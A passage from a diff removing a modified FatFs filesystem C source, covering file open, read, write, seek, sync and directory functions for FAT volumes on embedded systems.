!fil->fs->fs_type || fil->fs->id != fil->id) - return FR_INVALID_OBJECT; - - ENTER_FF(fil->fs); /* Lock file system */ - - //if (disk_status(fil->fs->drv) & STA_NOINIT) - // return FR_NOT_READY; - - return FR_OK; -} - - - - -/*-------------------------------------------------------------------------- - - Public Functions - ---------------------------------------------------------------------------*/ - - - -/*-----------------------------------------------------------------------*/ -/* Mount/Unmount a Logical Drive */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_mount ( - FATFS* fs, /* Pointer to the file system object (NULL:unmount)*/ - /*const TCHAR* path,*/ /* Logical drive number to be mounted/unmounted */ - BYTE opt, /* 0:Do not mount (delayed mount), 1:Mount immediately */ - bool umount -) -{ - FATFS *cfs; - int vol; - FRESULT res; - - - vol = 0;//get_ldnumber(&path); - if (vol < 0) return FR_INVALID_DRIVE; - cfs = fs;//FatFs[vol]; /* Pointer to fs object */ - - if (/*cfs*/umount) { -#ifdef _FS_LOCK - clear_lock(cfs); -#endif -#if _FS_REENTRANT /* Discard sync object of the current volume */ - if (!ff_del_syncobj(cfs->sobj)) return FR_INT_ERR; -#endif - cfs->fs_type = 0; /* Clear old fs object */ - } - - if (/*fs*/!umount) { - fs->fs_type = 0; /* Clear new fs object */ - memset(fs->Files,0,sizeof(FATFS::Files)); -#if _FS_REENTRANT /* Create sync object for the new volume */ - if (!ff_cre_syncobj(vol, &fs->sobj)) return FR_INT_ERR; -#endif - } - //FatFs[vol] = fs; /* Register new fs object */ - - if (/*!fs*/umount || opt != 1) return FR_OK; /* Do not mount now, it will be mounted later */ - - res = find_volume(fs, /*&path,*/ 0); /* Force mounted the volume */ - LEAVE_FF(fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Open or Create a File */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_open ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - FIL* fp, /* Pointer to the blank file object */ - const /*TCHAR*/char *path, /* Pointer to the file name */ - BYTE mode /* Access mode and file open mode flags */ -) -{ - FRESULT res; - DIR_ dj; - BYTE *dir; - DEF_NAMEBUF; - - - if (!fp) return FR_INVALID_OBJECT; - fp->fs = 0; /* Clear file object */ - - /* Get logical drive number */ - dj.fs=fs; -#if !_FS_READONLY - mode &= FA_READ | FA_WRITE | FA_CREATE_ALWAYS | FA_OPEN_ALWAYS | FA_CREATE_NEW; - res = find_volume(dj.fs, /*&path,*/ (BYTE)(mode & ~FA_READ)); -#else - mode &= FA_READ; - res = find_volume(dj.fs, &path, 0); -#endif - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the file path */ - dir = dj.dir; -#if !_FS_READONLY /* R/W configuration */ - if (res == FR_OK) { - if (!dir) /* Default directory itself */ - res = FR_INVALID_NAME; -#ifdef _FS_LOCK - else - res = chk_lock(&dj, (mode & ~FA_READ) ? 1 : 0); -#endif - } - /* Create or Open a file */ - if (mode & (FA_CREATE_ALWAYS | FA_OPEN_ALWAYS | FA_CREATE_NEW)) { - DWORD dw, cl; - - if (res != FR_OK) { /* No file, create new */ - if (res == FR_NO_FILE) /* There is no file to open, create a new entry */ -#ifdef _FS_LOCK - res = enq_lock(dj.fs) ? dir_register(&dj) : FR_TOO_MANY_OPEN_FILES; -#else - res = dir_register(&dj); -#endif - mode |= FA_CREATE_ALWAYS; /* File is created */ - dir = dj.dir; /* New entry */ - } - else { /* Any object is already existing */ - if (dir[DIR_Attr] & (AM_RDO | AM_DIR)) { /* Cannot overwrite it (R/O or DIR) */ - res = FR_DENIED; - } else { - if (mode & FA_CREATE_NEW) /* Cannot create as new file */ - res = FR_EXIST; - } - } - if (res == FR_OK && (mode & FA_CREATE_ALWAYS)) { /* Truncate it if overwrite mode */ - dw = get_fattime(); /* Created time */ - ST_DWORD(dir+DIR_CrtTime, dw); - dir[DIR_Attr] = 0; /* Reset attribute */ - ST_DWORD(dir+DIR_FileSize, 0); /* size = 0 */ - cl = ld_clust(dj.fs, dir); /* Get start cluster */ - st_clust(dir, 0); /* cluster = 0 */ - dj.fs->wflag = 1; - if (cl) { /* Remove the cluster chain if exist */ - dw = dj.fs->winsect; - res = remove_chain(dj.fs, cl); - if (res == FR_OK) { - dj.fs->last_clust = cl - 1; /* Reuse the cluster hole */ - res = move_window(dj.fs, dw); - } - } - } - } - else { /* Open an existing file */ - if (res == FR_OK) { /* Follow succeeded */ - if (dir[DIR_Attr] & AM_DIR) { /* It is a directory */ - res = FR_NO_FILE; - } else { - if ((mode & FA_WRITE) && (dir[DIR_Attr] & AM_RDO)) /* R/O violation */ - res = FR_DENIED; - } - } - } - if (res == FR_OK) { - if (mode & FA_CREATE_ALWAYS) /* Set file change flag if created or overwritten */ - mode |= FA__WRITTEN; - fp->dir_sect = dj.fs->winsect; /* Pointer to the directory entry */ - fp->dir_ptr = dir; -#ifdef _FS_LOCK - fp->lockid = inc_lock(&dj, (mode & ~FA_READ) ? 1 : 0); - if (!fp->lockid) res = FR_INT_ERR; -#endif - } - -#else /* R/O configuration */ - if (res == FR_OK) { /* Follow succeeded */ - dir = dj.dir; - if (!dir) { /* Current directory itself */ - res = FR_INVALID_NAME; - } else { - if (dir[DIR_Attr] & AM_DIR) /* It is a directory */ - res = FR_NO_FILE; - } - } -#endif - FREE_BUF(); - - if (res == FR_OK) { - fp->flag = mode; /* File access mode */ - fp->err = 0; /* Clear error flag */ - fp->sclust = ld_clust(dj.fs, dir); /* File start cluster */ - fp->fsize = LD_DWORD(dir+DIR_FileSize); /* File size */ - fp->fptr = 0; /* File pointer */ - fp->dsect = 0; -#if _USE_FASTSEEK - fp->cltbl = 0; /* Normal seek mode */ -#endif - fp->fs = dj.fs; /* Validate file object */ - fp->id = fp->fs->id; - } - } - - LEAVE_FF(dj.fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Read File */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_read ( - FIL* fp, /* Pointer to the file object */ - void* buff, /* Pointer to data buffer */ - UINT btr, /* Number of bytes to read */ - UINT* br /* Pointer to number of bytes read */ -) -{ - FRESULT res; - DWORD clst, sect, remain; - UINT rcnt, cc; - BYTE csect, *rbuff = (BYTE*)buff; - - - *br = 0; /* Clear read byte counter */ - - res = validate(fp); /* Check validity */ - if (res != FR_OK) LEAVE_FF(fp->fs, res); - if (fp->err) /* Check error */ - LEAVE_FF(fp->fs, (FRESULT)fp->err); - if (!(fp->flag & FA_READ)) /* Check access mode */ - LEAVE_FF(fp->fs, FR_DENIED); - remain = fp->fsize - fp->fptr; - if (btr > remain) btr = (UINT)remain; /* Truncate btr by remaining bytes */ - - for ( ; btr; /* Repeat until all data read */ - rbuff += rcnt, fp->fptr += rcnt, *br += rcnt, btr -= rcnt) { - if ((fp->fptr % SS(fp->fs)) == 0) { /* On the sector boundary? */ - csect = (BYTE)(fp->fptr / SS(fp->fs) & (fp->fs->csize - 1)); /* Sector offset in the cluster */ - if (!csect) { /* On the cluster boundary? */ - if (fp->fptr == 0) { /* On the top of the file? */ - clst = fp->sclust; /* Follow from the origin */ - } else { /* Middle or end of the file */ -#if _USE_FASTSEEK - if (fp->cltbl) - clst = clmt_clust(fp, fp->fptr); /* Get cluster# from the CLMT */ - else -#endif - clst = get_fat(fp->fs, fp->clust); /* Follow cluster chain on the FAT */ - } - if (clst < 2) ABORT(fp->fs, FR_INT_ERR); - if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); - fp->clust = clst; /* Update current cluster */ - } - sect = clust2sect(fp->fs, fp->clust); /* Get current sector */ - if (!sect) ABORT(fp->fs, FR_INT_ERR); - sect += csect; - cc = btr / SS(fp->fs); /* When remaining bytes >= sector size, */ - if (cc) { /* Read maximum contiguous sectors directly */ - if (csect + cc > fp->fs->csize) /* Clip at cluster boundary */ - cc = fp->fs->csize - csect; - if (disk_read(fp->fs->drv, rbuff, sect, cc)) - ABORT(fp->fs, FR_DISK_ERR); -#if !_FS_READONLY && _FS_MINIMIZE <= 2 /* Replace one of the read sectors with cached data if it contains a dirty sector */ -#if _FS_TINY - if (fp->fs->wflag && fp->fs->winsect - sect < cc) - mem_cpy(rbuff + ((fp->fs->winsect - sect) * SS(fp->fs)), fp->fs->win, SS(fp->fs)); -#else - if ((fp->flag & FA__DIRTY) && fp->dsect - sect < cc) - mem_cpy(rbuff + ((fp->dsect - sect) * SS(fp->fs)), fp->buf, SS(fp->fs)); -#endif -#endif - rcnt = SS(fp->fs) * cc; /* Number of bytes transferred */ - continue; - } -#if !_FS_TINY - if (fp->dsect != sect) { /* Load data sector if not in cache */ -#if !_FS_READONLY - if (fp->flag & FA__DIRTY) { /* Write-back dirty sector cache */ - if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) - ABORT(fp->fs, FR_DISK_ERR); - fp->flag &= ~FA__DIRTY; - } -#endif - if (disk_read(fp->fs->drv, fp->buf, sect, 1)) /* Fill sector cache */ - ABORT(fp->fs, FR_DISK_ERR); - } -#endif - fp->dsect = sect; - } - rcnt = SS(fp->fs) - ((UINT)fp->fptr % SS(fp->fs)); /* Get partial sector data from sector buffer */ - if (rcnt > btr) rcnt = btr; -#if _FS_TINY - if (move_window(fp->fs, fp->dsect)) /* Move sector window */ - ABORT(fp->fs, FR_DISK_ERR); - mem_cpy(rbuff, &fp->fs->win[fp->fptr % SS(fp->fs)], rcnt); /* Pick partial sector */ -#else - mem_cpy(rbuff, &fp->buf[fp->fptr % SS(fp->fs)], rcnt); /* Pick partial sector */ -#endif - } - - LEAVE_FF(fp->fs, FR_OK); -} - - - - -#if !_FS_READONLY -/*-----------------------------------------------------------------------*/ -/* Write File */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_write ( - FIL* fp, /* Pointer to the file object */ - const void *buff, /* Pointer to the data to be written */ - UINT btw, /* Number of bytes to write */ - UINT* bw /* Pointer to number of bytes written */ -) -{ - FRESULT res; - DWORD clst, sect; - UINT wcnt, cc; - const BYTE *wbuff = (const BYTE*)buff; - BYTE csect; - - - *bw = 0; /* Clear write byte counter */ - - res = validate(fp); /* Check validity */ - if (res != FR_OK) LEAVE_FF(fp->fs, res); - if (fp->err) /* Check error */ - LEAVE_FF(fp->fs, (FRESULT)fp->err); - if (!(fp->flag & FA_WRITE)) /* Check access mode */ - LEAVE_FF(fp->fs, FR_DENIED); - if (fp->fptr + btw < fp->fptr) btw = 0; /* File size cannot reach 4GB */ - - for ( ; btw; /* Repeat until all data written */ - wbuff += wcnt, fp->fptr += wcnt, *bw += wcnt, btw -= wcnt) { - if ((fp->fptr % SS(fp->fs)) == 0) { /* On the sector boundary? */ - csect = (BYTE)(fp->fptr / SS(fp->fs) & (fp->fs->csize - 1)); /* Sector offset in the cluster */ - if (!csect) { /* On the cluster boundary? */ - if (fp->fptr == 0) { /* On the top of the file? */ - clst = fp->sclust; /* Follow from the origin */ - if (clst == 0) /* When no cluster is allocated, */ - fp->sclust = clst = create_chain(fp->fs, 0); /* Create a new cluster chain */ - } else { /* Middle or end of the file */ -#if _USE_FASTSEEK - if (fp->cltbl) - clst = clmt_clust(fp, fp->fptr); /* Get cluster# from the CLMT */ - else -#endif - clst = create_chain(fp->fs, fp->clust); /* Follow or stretch cluster chain on the FAT */ - } - if (clst == 0) break; /* Could not allocate a new cluster (disk full) */ - if (clst == 1) ABORT(fp->fs, FR_INT_ERR); - if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); - fp->clust = clst; /* Update current cluster */ - } -#if _FS_TINY - if (fp->fs->winsect == fp->dsect && sync_window(fp->fs)) /* Write-back sector cache */ - ABORT(fp->fs, FR_DISK_ERR); -#else - if (fp->flag & FA__DIRTY) { /* Write-back sector cache */ - if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) - ABORT(fp->fs, FR_DISK_ERR); - fp->flag &= ~FA__DIRTY; - } -#endif - sect = clust2sect(fp->fs, fp->clust); /* Get current sector */ - if (!sect) ABORT(fp->fs, FR_INT_ERR); - sect += csect; - cc = btw / SS(fp->fs); /* When remaining bytes >= sector size, */ - if (cc) { /* Write maximum contiguous sectors directly */ - if (csect + cc > fp->fs->csize) /* Clip at cluster boundary */ - cc = fp->fs->csize - csect; - if (disk_write(fp->fs->drv, wbuff, sect, cc)) - ABORT(fp->fs, FR_DISK_ERR); -#if _FS_MINIMIZE <= 2 -#if _FS_TINY - if (fp->fs->winsect - sect < cc) { /* Refill sector cache if it gets invalidated by the direct write */ - mem_cpy(fp->fs->win, wbuff + ((fp->fs->winsect - sect) * SS(fp->fs)), SS(fp->fs)); - fp->fs->wflag = 0; - } -#else - if (fp->dsect - sect < cc) { /* Refill sector cache if it gets invalidated by the direct write */ - mem_cpy(fp->buf, wbuff + ((fp->dsect - sect) * SS(fp->fs)), SS(fp->fs)); - fp->flag &= ~FA__DIRTY; - } -#endif -#endif - wcnt = SS(fp->fs) * cc; /* Number of bytes transferred */ - continue; - } -#if _FS_TINY - if (fp->fptr >= fp->fsize) { /* Avoid silly cache filling at growing edge */ - if (sync_window(fp->fs)) ABORT(fp->fs, FR_DISK_ERR); - fp->fs->winsect = sect; - } -#else - if (fp->dsect != sect) { /* Fill sector cache with file data */ - if (fp->fptr < fp->fsize && - disk_read(fp->fs->drv, fp->buf, sect, 1)) - ABORT(fp->fs, FR_DISK_ERR); - } -#endif - fp->dsect = sect; - } - wcnt = SS(fp->fs) - ((UINT)fp->fptr % SS(fp->fs));/* Put partial sector into file I/O buffer */ - if (wcnt > btw) wcnt = btw; -#if _FS_TINY - if (move_window(fp->fs, fp->dsect)) /* Move sector window */ - ABORT(fp->fs, FR_DISK_ERR); - mem_cpy(&fp->fs->win[fp->fptr % SS(fp->fs)], wbuff, wcnt); /* Fit partial sector */ - fp->fs->wflag = 1; -#else - mem_cpy(&fp->buf[fp->fptr % SS(fp->fs)], wbuff, wcnt); /* Fit partial sector */ - fp->flag |= FA__DIRTY; -#endif - } - - if (fp->fptr > fp->fsize) fp->fsize = fp->fptr; /* Update file size if needed */ - fp->flag |= FA__WRITTEN; /* Set file change flag */ - - LEAVE_FF(fp->fs, FR_OK); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Synchronize the File */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_sync ( - FIL* fp /* Pointer to the file object */ -) -{ - FRESULT res; - DWORD tm; - BYTE *dir; - - - res = validate(fp); /* Check validity of the object */ - if (res == FR_OK) { - if (fp->flag & FA__WRITTEN) { /* Has the file been written? */ - /* Write-back dirty buffer */ -#if !_FS_TINY - if (fp->flag & FA__DIRTY) { - if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) - LEAVE_FF(fp->fs, FR_DISK_ERR); - fp->flag &= ~FA__DIRTY; - } -#endif - /* Update the directory entry */ - res = move_window(fp->fs, fp->dir_sect); - if (res == FR_OK) { - dir = fp->dir_ptr; - dir[DIR_Attr] |= AM_ARC; /* Set archive bit */ - ST_DWORD(dir+DIR_FileSize, fp->fsize); /* Update file size */ - st_clust(dir, fp->sclust); /* Update start cluster */ - tm = get_fattime(); /* Update updated time */ - ST_DWORD(dir+DIR_WrtTime, tm); - ST_WORD(dir+DIR_LstAccDate, 0); - fp->flag &= ~FA__WRITTEN; - fp->fs->wflag = 1; - res = sync_fs(fp->fs); - } - } - } - - LEAVE_FF(fp->fs, res); -} - -#endif /* !_FS_READONLY */ - - - - -/*-----------------------------------------------------------------------*/ -/* Close File */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_close ( - FIL *fp /* Pointer to the file object to be closed */ -) -{ - FRESULT res; - - -#if _FS_READONLY - res = validate(fp); - { -#if _FS_REENTRANT - FATFS *fs = 0; - if (res == FR_OK) fs = fp->fs; /* Get corresponding file system object */ -#endif - if (res == FR_OK) fp->fs = 0; /* Invalidate file object */ - LEAVE_FF(fs, res); - } -#else - res = f_sync(fp); /* Flush cached data */ -#ifdef _FS_LOCK - if (res == FR_OK) { /* Decrement open counter */ -#if _FS_REENTRANT - res = validate(fp); - if (res == FR_OK) { - res = dec_lock(fp->fs,fp->lockid); - unlock_fs(fp->fs, FR_OK); - } -#else - res = dec_lock(fp->fs,fp->lockid); -#endif - } -#endif - if (res == FR_OK) fp->fs = 0; /* Invalidate file object */ - return res; -#endif -} - - - - -/*-----------------------------------------------------------------------*/ -/* Change Current Directory or Current Drive, Get Current Directory */ -/*-----------------------------------------------------------------------*/ - -#if _FS_RPATH >= 1 -#if _VOLUMES >= 2 -FRESULT f_chdrive ( - const TCHAR* path /* Drive number */ -) -{ - int vol; - - - vol = get_ldnumber(&path); - if (vol < 0) return FR_INVALID_DRIVE; - - CurrVol = (BYTE)vol; - - return FR_OK; -} -#endif - - -FRESULT f_chdir ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const TCHAR* path /* Pointer to the directory path */ -) -{ - FRESULT res; - DIR_ dj; - DEF_NAMEBUF; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, &path, 0); - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the path */ - FREE_BUF(); - if (res == FR_OK) { /* Follow completed */ - if (!dj.dir) { - dj.fs->cdir = dj.sclust; /* Start directory itself */ - } else { - if (dj.dir[DIR_Attr] & AM_DIR) /* Reached to the directory */ - dj.fs->cdir = ld_clust(dj.fs, dj.dir); - else - res = FR_NO_PATH; /* Reached but a file */ - } - } - if (res == FR_NO_FILE) res = FR_NO_PATH; - } - - LEAVE_FF(dj.fs, res); -} - - -#if _FS_RPATH >= 2 -FRESULT f_getcwd ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - TCHAR* buff, /* Pointer to the directory path */ - UINT len /* Size of path */ -) -{ - FRESULT res; - DIR_ dj; - UINT i, n; - DWORD ccl; - TCHAR *tp; - FILINFO fno; - DEF_NAMEBUF; - - - *buff = 0; - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, (const TCHAR**)&buff, 0); /* Get current volume */ - if (res == FR_OK) { - INIT_BUF(dj); - i = len; /* Bottom of buffer (directory stack base) */ - dj.sclust = dj.fs->cdir; /* Start to follow upper directory from current directory */ - while ((ccl = dj.sclust) != 0) { /* Repeat while current directory is a sub-directory */ - res = dir_sdi(&dj, 1); /* Get parent directory */ - if (res != FR_OK) break; - res = dir_read(&dj, 0); - if (res != FR_OK) break; - dj.sclust = ld_clust(dj.fs, dj.dir); /* Goto parent directory */ - res = dir_sdi(&dj, 0); - if (res != FR_OK) break; - do { /* Find the entry links to the child directory */ - res = dir_read(&dj, 0); - if (res != FR_OK) break; - if (ccl == ld_clust(dj.fs, dj.dir)) break; /* Found the entry */ - res = dir_next(&dj, 0); - } while (res == FR_OK); - if (res == FR_NO_FILE) res = FR_INT_ERR;/* It cannot be 'not found'. */ - if (res != FR_OK) break; -#if _USE_LFN - fno.lfname = buff; - fno.lfsize = i; -#endif - get_fileinfo(&dj, &fno); /* Get the directory name and push it to the buffer */ - tp = fno.fname; -#if _USE_LFN - if (*buff) tp = buff; -#endif - for (n = 0; tp[n]; n++) ; - if (i < n + 3) { - res = FR_NOT_ENOUGH_CORE; break; - } - while (n) buff[--i] = tp[--n]; - buff[--i] = '/'; - } - tp = buff; - if (res == FR_OK) { -#if _VOLUMES >= 2 - *tp++ = '0' + CurrVol; /* Put drive number */ - *tp++ = ':'; -#endif - if (i == len) { /* Root-directory */ - *tp++ = '/'; - } else { /* Sub-directroy */ - do /* Add stacked path str */ - *tp++ = buff[i++]; - while (i < len); - } - } - *tp = 0; - FREE_BUF(); - } - - LEAVE_FF(dj.fs, res); -} -#endif /* _FS_RPATH >= 2 */ -#endif /* _FS_RPATH >= 1 */ - - - -#if _FS_MINIMIZE <= 2 -/*-----------------------------------------------------------------------*/ -/* Seek File R/W Pointer */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_lseek ( - FIL* fp, /* Pointer to the file object */ - DWORD ofs /* File pointer from top of file */ -) -{ - FRESULT res; - - - res = validate(fp); /* Check validity of the object */ - if (res != FR_OK) LEAVE_FF(fp->fs, res); - if (fp->err) /* Check error */ - LEAVE_FF(fp->fs, (FRESULT)fp->err); - -#if _USE_FASTSEEK - if (fp->cltbl) { /* Fast seek */ - DWORD cl, pcl, ncl, tcl, dsc, tlen, ulen, *tbl; - - if (ofs == CREATE_LINKMAP) { /* Create CLMT */ - tbl = fp->cltbl; - tlen = *tbl++; ulen = 2; /* Given table size and required table size */ - cl = fp->sclust; /* Top of the chain */ - if (cl) { - do { - /* Get a fragment */ - tcl = cl; ncl = 0; ulen += 2; /* Top, length and used items */ - do { - pcl = cl; ncl++; - cl = get_fat(fp->fs, cl); - if (cl <= 1) ABORT(fp->fs, FR_INT_ERR); - if (cl == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); - } while (cl == pcl + 1); - if (ulen <= tlen) { /* Store the length and top of the fragment */ - *tbl++ = ncl; *tbl++ = tcl; - } - } while (cl < fp->fs->n_fatent); /* Repeat until end of chain */ - } - *fp->cltbl = ulen; /* Number of items used */ - if (ulen <= tlen) - *tbl = 0; /* Terminate table */ - else - res = FR_NOT_ENOUGH_CORE; /* Given table size is smaller than required */ - - } else { /* Fast seek */ - if (ofs > fp->fsize) /* Clip offset at the file size */ - ofs = fp->fsize; - fp->fptr = ofs; /* Set file pointer */ - if (ofs) { - fp->clust = clmt_clust(fp, ofs - 1); - dsc = clust2sect(fp->fs, fp->clust); - if (!dsc) ABORT(fp->fs, FR_INT_ERR); - dsc += (ofs - 1) / SS(fp->fs) & (fp->fs->csize - 1); - if (fp->fptr % SS(fp->fs) && dsc != fp->dsect) { /* Refill sector cache if needed */ -#if !_FS_TINY -#if !_FS_READONLY - if (fp->flag & FA__DIRTY) { /* Write-back dirty sector cache */ - if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) - ABORT(fp->fs, FR_DISK_ERR); - fp->flag &= ~FA__DIRTY; - } -#endif - if (disk_read(fp->fs->drv, fp->buf, dsc, 1)) /* Load current sector */ - ABORT(fp->fs, FR_DISK_ERR); -#endif - fp->dsect = dsc; - } - } - } - } else -#endif - - /* Normal Seek */ - { - DWORD clst, bcs, nsect, ifptr; - - if (ofs > fp->fsize /* In read-only mode, clip offset with the file size */ -#if !_FS_READONLY - && !(fp->flag & FA_WRITE) -#endif - ) ofs = fp->fsize; - - ifptr = fp->fptr; - fp->fptr = nsect = 0; - if (ofs) { - bcs = (DWORD)fp->fs->csize * SS(fp->fs); /* Cluster size (byte) */ - if (ifptr > 0 && - (ofs - 1) / bcs >= (ifptr - 1) / bcs) { /* When seek to same or following cluster, */ - fp->fptr = (ifptr - 1) & ~(bcs - 1); /* start from the current cluster */ - ofs -= fp->fptr; - clst = fp->clust; - } else { /* When seek to back cluster, */ - clst = fp->sclust; /* start from the first cluster */ -#if !_FS_READONLY - if (clst == 0) { /* If no cluster chain, create a new chain */ - clst = create_chain(fp->fs, 0); - if (clst == 1) ABORT(fp->fs, FR_INT_ERR); - if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); - fp->sclust = clst; - } -#endif - fp->clust = clst; - } - if (clst != 0) { - while (ofs > bcs) { /* Cluster following loop */ -#if !_FS_READONLY - if (fp->flag & FA_WRITE) { /* Check if in write mode or not */ - clst = create_chain(fp->fs, clst); /* Force stretch if in write mode */ - if (clst == 0) { /* When disk gets full, clip file size */ - ofs = bcs; break; - } - } else -#endif - clst = get_fat(fp->fs, clst); /* Follow cluster chain if not in write mode */ - if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); - if (clst <= 1 || clst >= fp->fs->n_fatent) ABORT(fp->fs, FR_INT_ERR); - fp->clust = clst; - fp->fptr += bcs; - ofs -= bcs; - } - fp->fptr += ofs; - if (ofs % SS(fp->fs)) { - nsect = clust2sect(fp->fs, clst); /* Current sector */ - if (!nsect) ABORT(fp->fs, FR_INT_ERR); - nsect += ofs / SS(fp->fs); - } - } - } - if (fp->fptr % SS(fp->fs) && nsect != fp->dsect) { /* Fill sector cache if needed */ -#if !_FS_TINY -#if !_FS_READONLY - if (fp->flag & FA__DIRTY) { /* Write-back dirty sector cache */ - if (disk_write(fp->fs->drv, fp->buf, fp->dsect, 1)) - ABORT(fp->fs, FR_DISK_ERR); - fp->flag &= ~FA__DIRTY; - } -#endif - if (disk_read(fp->fs->drv, fp->buf, nsect, 1)) /* Fill sector cache */ - ABORT(fp->fs, FR_DISK_ERR); -#endif - fp->dsect = nsect; - } -#if !_FS_READONLY - if (fp->fptr > fp->fsize) { /* Set file change flag if the file size is extended */ - fp->fsize = fp->fptr; - fp->flag |= FA__WRITTEN; - } -#endif - } - - LEAVE_FF(fp->fs, res); -} - - - -#if _FS_MINIMIZE <= 1 -/*-----------------------------------------------------------------------*/ -/* Create a Directory Object */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_opendir ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - DIR_* dp, /* Pointer to directory object to create */ - const /*TCHAR*/char *path /* Pointer to the directory path */ -) -{ - FRESULT res; - //FATFS* fs; - DEF_NAMEBUF; - - - if (!dp) return FR_INVALID_OBJECT; - - /* Get logical drive number */ - res = find_volume(fs, /*&path,*/ 0); - if (res == FR_OK) { - dp->fs = fs; - INIT_BUF(*dp); - res = follow_path(dp, path); /* Follow the path to the directory */ - FREE_BUF(); - if (res == FR_OK) { /* Follow completed */ - if (dp->dir) { /* It is not the origin directory itself */ - if (dp->dir[DIR_Attr] & AM_DIR) /* The object is a sub directory */ - dp->sclust = ld_clust(fs, dp->dir); - else /* The object is a file */ - res = FR_NO_PATH; - } - if (res == FR_OK) { - dp->id = fs->id; - res = dir_sdi(dp, 0); /* Rewind directory */ -#ifdef _FS_LOCK - if (res == FR_OK) { - if (dp->sclust) { - dp->lockid = inc_lock(dp, 0); /* Lock the sub directory */ - if (!dp->lockid) - res = FR_TOO_MANY_OPEN_FILES; - } else { - dp->lockid = 0; /* Root directory need not to be locked */ - } - } -#endif - } - } - if (res == FR_NO_FILE) res = FR_NO_PATH; - } - if (res != FR_OK) dp->fs = 0; /* Invalidate the directory object if function faild */ - - LEAVE_FF(fs, res); -} - - - - -/*-----------------------------------------------------------------------*/ -/* Close Directory */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_closedir ( - DIR_ *dp /* Pointer to the directory object to be closed */ -) -{ - FRESULT res; - - - res = validate(dp); -#ifdef _FS_LOCK - if (res == FR_OK) { /* Decrement open counter */ - if (dp->lockid) - res = dec_lock(dp->fs,dp->lockid); -#if _FS_REENTRANT - unlock_fs(dp->fs, FR_OK); -#endif - } -#endif - if (res == FR_OK) dp->fs = 0; /* Invalidate directory object */ - return res; -} - - - - -/*-----------------------------------------------------------------------*/ -/* Read Directory Entries in Sequence */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_readdir ( - DIR_* dp, /* Pointer to the open directory object */ - FILINFO* fno /* Pointer to file information to return */ -) -{ - FRESULT res; - DEF_NAMEBUF; - - - res = validate(dp); /* Check validity of the object */ - if (res == FR_OK) { - if (!fno) { - res = dir_sdi(dp, 0); /* Rewind the directory object */ - } else { - INIT_BUF2(*dp,dp->fs); - res = dir_read(dp, 0); /* Read an item */ - if (res == FR_NO_FILE) { /* Reached end of directory */ - dp->sect = 0; - res = FR_OK; - } - if (res == FR_OK) { /* A valid entry is found */ - get_fileinfo(dp, fno); /* Get the object information */ - res = dir_next(dp, 0); /* Increment index for next */ - if (res == FR_NO_FILE) { - dp->sect = 0; - res = FR_OK; - } - } - FREE_BUF(); - } - } - - LEAVE_FF(dp->fs, res); -} - - - -#if _FS_MINIMIZE == 0 -/*-----------------------------------------------------------------------*/ -/* Get File Status */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_stat ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - const /*TCHAR*/char *path, /* Pointer to the file path */ - FILINFO* fno /* Pointer to file information to return */ -) -{ - FRESULT res; - DIR_ dj; - DEF_NAMEBUF; - - - /* Get logical drive number */ - dj.fs=fs; - res = find_volume(dj.fs, /*&path,*/ 0); - if (res == FR_OK) { - INIT_BUF(dj); - res = follow_path(&dj, path); /* Follow the file path */ - if (res == FR_OK) { /* Follow completed */ - if (dj.dir) { /* Found an object */ - if (fno) get_fileinfo(&dj, fno); - } else { /* It is root directory */ - res = FR_INVALID_NAME; - } - } - FREE_BUF(); - } - - LEAVE_FF(dj.fs, res); -} - - - -#if !_FS_READONLY -/*-----------------------------------------------------------------------*/ -/* Get Number of Free Clusters */ -/*-----------------------------------------------------------------------*/ - -FRESULT f_getfree ( - FATFS *fs, /* By TFT: added to get rid of static variables */ - /*const TCHAR* path,*/ /* Path name of the logical drive number */ - DWORD* nclst /* Pointer to a variable to return number of free clusters */ - /*FATFS** fatfs*/ /* Pointer to return pointer to corresponding file system object */ -) -{ - FRESULT res; - //FATFS *fs; - DWORD n, clst, sect, stat; - UINT i; - BYTE fat, *p; - - - /* Get logical drive number */ - res = find_volume(fs/*fatfs*/, /*&path,*/ 0); - //fs = *fatfs; - if (res == FR_OK) { - /* If free_clust is valid, return it without full cluster scan */ - if (fs->free_clust <= fs->n_fatent - 2) { - *nclst = fs->free_clust; - } else { - /* Get number of free clusters */ - fat = fs->fs_type; - n = 0; - if (fat == FS_FAT12) { - clst = 2; - do { - stat = get_fat(fs, clst); - if (stat == 0xFFFFFFFF) { res = FR_DISK_ERR; break; } - if (stat == 1) { res = FR_INT_ERR; break; } - if (stat == 0) n++; - } while (++clst < fs->n_fatent); - } else { - clst = fs->n_fatent; - sect = fs->fatbase; - i = 0; p = 0; - do { - if (!i) { - res = move_window(fs, sect++); - if (res != FR_OK) break; - p = fs->win; - i = SS(fs); - } - if (fat == FS_FAT16) { - if (LD_WORD(p) == 0) n++; - p += 2; i -= 2; - } else { 